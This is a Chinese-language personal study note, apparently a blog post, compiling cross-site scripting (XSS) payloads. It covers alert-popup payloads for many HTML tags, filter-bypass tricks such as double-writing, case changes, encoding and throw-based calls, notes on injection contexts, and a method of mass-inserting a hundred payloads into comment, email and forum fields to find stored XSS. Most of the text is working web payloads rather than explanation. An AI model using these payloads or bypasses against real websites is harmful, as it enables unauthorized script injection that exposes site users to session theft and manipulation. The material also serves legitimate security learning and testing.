幸福是魔鬼的牢笼,当幸福化为泡影,魔鬼就会冲出牢笼,毁灭世界。
这些资料都是在网上找到了,只有一小部分才是自己总结的知识点,为了把这些知识点变成自己的,需要反复的背与狂练习。
弹窗标签
a标签
<a href=javascript:alert(1)>点我啊</a>
#javascript协议
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>点我</a>
# data协议
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>
# url编码的data协议
<a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="black"/></a></svg>
<math><a xlink:href=javascript:alert(1)>点我</math>
# 另两种方式实现
script标签
<script>alert(1)</script>
<script>confirm(1)</script>
<script>pormpt(1)</script>
# 直接弹窗
<script>alert(String.fromCharCode(49))</script>
# javascript协议编码
<script>setTimeout('alert(1)',0)</script>
# 如果输出是在setTimeout里,我们依然可以直接执行alert(1)
button标签
<button/onclick=alert(1) >点我</button>
# 点击弹窗
<button onfocus=alert(1) autofocus>
# 不需要点击就能弹窗
p标签
<p/onmouseover=alert(1)>点我</p>
# 可以直接使用事件触发
img标签
<img src=x onerror=alert(1)>
# 可以使用事件触发
body标签
<body onload=alert(1)>
# 事件触发
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
# 第二个没看懂...,百度后知道 onscroll 事件在元素滚动条在滚动时触发,即页面存在很多内容,需要滚动才能看到下面的内容的是偶,就会触发
var标签
<var onmousemove=alert(1)>M</var>
# 事件触发,一般是用不需交互的事件比如鼠标移动等
div标签
<div/onclick='alert(1)'>X</div>
# 事件触发
input标签
和button一样通过autofocus可以达到无需交互即可弹窗的效果。
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>
select标签
<select onfocus=javascript:alert(1) autofocus>
textarea标签
<textarea onfocus=javascript:alert(1) autofocus>
keygen标签
<keygen onfocus=javascript:alert(1) autofocus>
frameset标签
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
svg标签
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>
math标签
<math href="javascript:javascript:alert(1)">CLICKME</math>
<math><y/xlink:href=javascript:alert(51)>test1
video标签
<video><source onerror="alert(1)">
<video src=x onerror=alert(48)>
audio标签
<audio src=x onerror=alert(47)>
embed标签
<embed src=javascript:alert(1)>
meta标签
测试时发现昵称,文章标题跑到meta标签中,那么只需要跳出当前属性再添加http-equiv=”refresh”,就可以构造一个有效地xss payload。还有一些猥琐的思路,就是通过给http-equiv设置set-cookie,进一步重新设置cookie来干一些猥琐的事情。
<meta http-equiv="refresh" content="0;javascript:alert(1)"/><meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
marquee标签
<marquee onstart="alert('1')"></marquee>
isindex标签
<isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image>
xss绕过
个人xss绕过分两种,第一种是有一些标签没有过滤导致弹窗,另一种则是通过编码大小写等方式绕过,这两种都需要大量的基础知识功底和耐心的反复练习。
1. 单次过滤规则绕过:有些规则仅进行一次过滤替换,可以通过双重复写绕过<scr<script>ipt>
2. 大小写绕过:<sCript>
3. alert被过滤,可以尝试prompt和confirm
4. 没有引号和分号:<IMG SRC=javascript:alert('XSS')>
5. 空格被过滤:<img/src=""onerror=alert(2)> <svg/onload=alert(2)></svg>
6. <imgsrc="1"onerror="alert(1)">和<imgsrc="1"onerror="alert(1)">是等效的,没有过滤&,#等符号,我们就可以写入任意字符
6. 长度限制时: <q/oncut=alert(1)>//在限制长度的地方很有效
7. 单引号及双引号被过滤情况: <script>alert(/jdq/)</script> //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显
8. 括号被过滤,可以使用throw来抛出数据<a onmouseover="javascript:window.onerror=alert;throw 1">2</a><img src=x onerror="javascript:window.onerror=alert;throw 1">
9. 过滤某些关键字(如:javascript) 可以在属性中的引号内容中使用空字符、空格、TAB换行、注释、特殊的函数,将代码行隔开。比如在使用<iframe src="javascript:alert(1253)" height=0 width=0 /><iframe>时,可以用回车、Tab键将src中的内容隔开,回车的url编码为%0a,%0b; 拼凑法:① 双写绕过;② 使用js定义变量z=scri, z+pt=script; ③ 两处输出点<scri<!-- 第二处-->pt>;
10. 当返回结果在 svg 标签中的时候,会有一个特性 <svg><script>varmyvar="YourInput";</script></svg> YourInput 可控,输入 www.site.com/test.php?var=text";alert(1)// 如果把 “ 编码一些他仍然能够执行: <svg><script>varmyvar="text";alert(1)//";</script></svg>
这些知识都是网上的,并非自己的,如果想收为己用就需要强烈的反复的背与练习,才能变成自己的技能。
读 心伤的瘦子 文章
直接输出
即你插入什么就输出什么,这个时候直接插弹窗就行。
输出再script标签里面
闭合script后,插入弹窗
输出再html标签
使用事件触发,即onerror,onclick,onmousemove等等实现触发弹窗
宽字节注入
只要网页的编码是gbxxx的,发现单引号双引号背过滤则可以通过宽字节注入
即你只需要再引号前加速%0c即可
换行符绕过
如果输出的内容再js中,尝试再插入弹窗前加上%0a(就是换行的url编码),其中\r\n对应(%0a%0d)就是unix中换行,再服务器返回的请求头部信息和返回的内容主体中就是两个\r\n,如果传入的参数传入换行符,后端没有过滤的话,就会造成slrf漏洞,即控制你返回的内容中插入代码,这一点是chrome浏览器没办法屏蔽的,因为返回的内容是后端服务器返回的。
这里不说这么深入,只讨论\n对应的%0a,在插入的弹窗前面加速%0a,查看返回的内容有无换行。
如何获取注入点
发现瘦子能找到xss的位置url,这些很细节的url如果手动还是好发掘,再浏览器f12抓包就能找到,我想通过工具实现对这种network中传递的隐形的url批量获取,这种url链接很少能通过爬虫找到,所以想通过selenium来试一试。
关于存储型XSS挖掘
网上有表哥鸭王给出了思路,对一些传递存储数据的位置,一次性插入一百条payload,然后访问,检测是否弹窗,简直优秀啊
常见可存入输入字符串的地方:
邮件、留言、BBS、在线客服、投稿、新建xxx。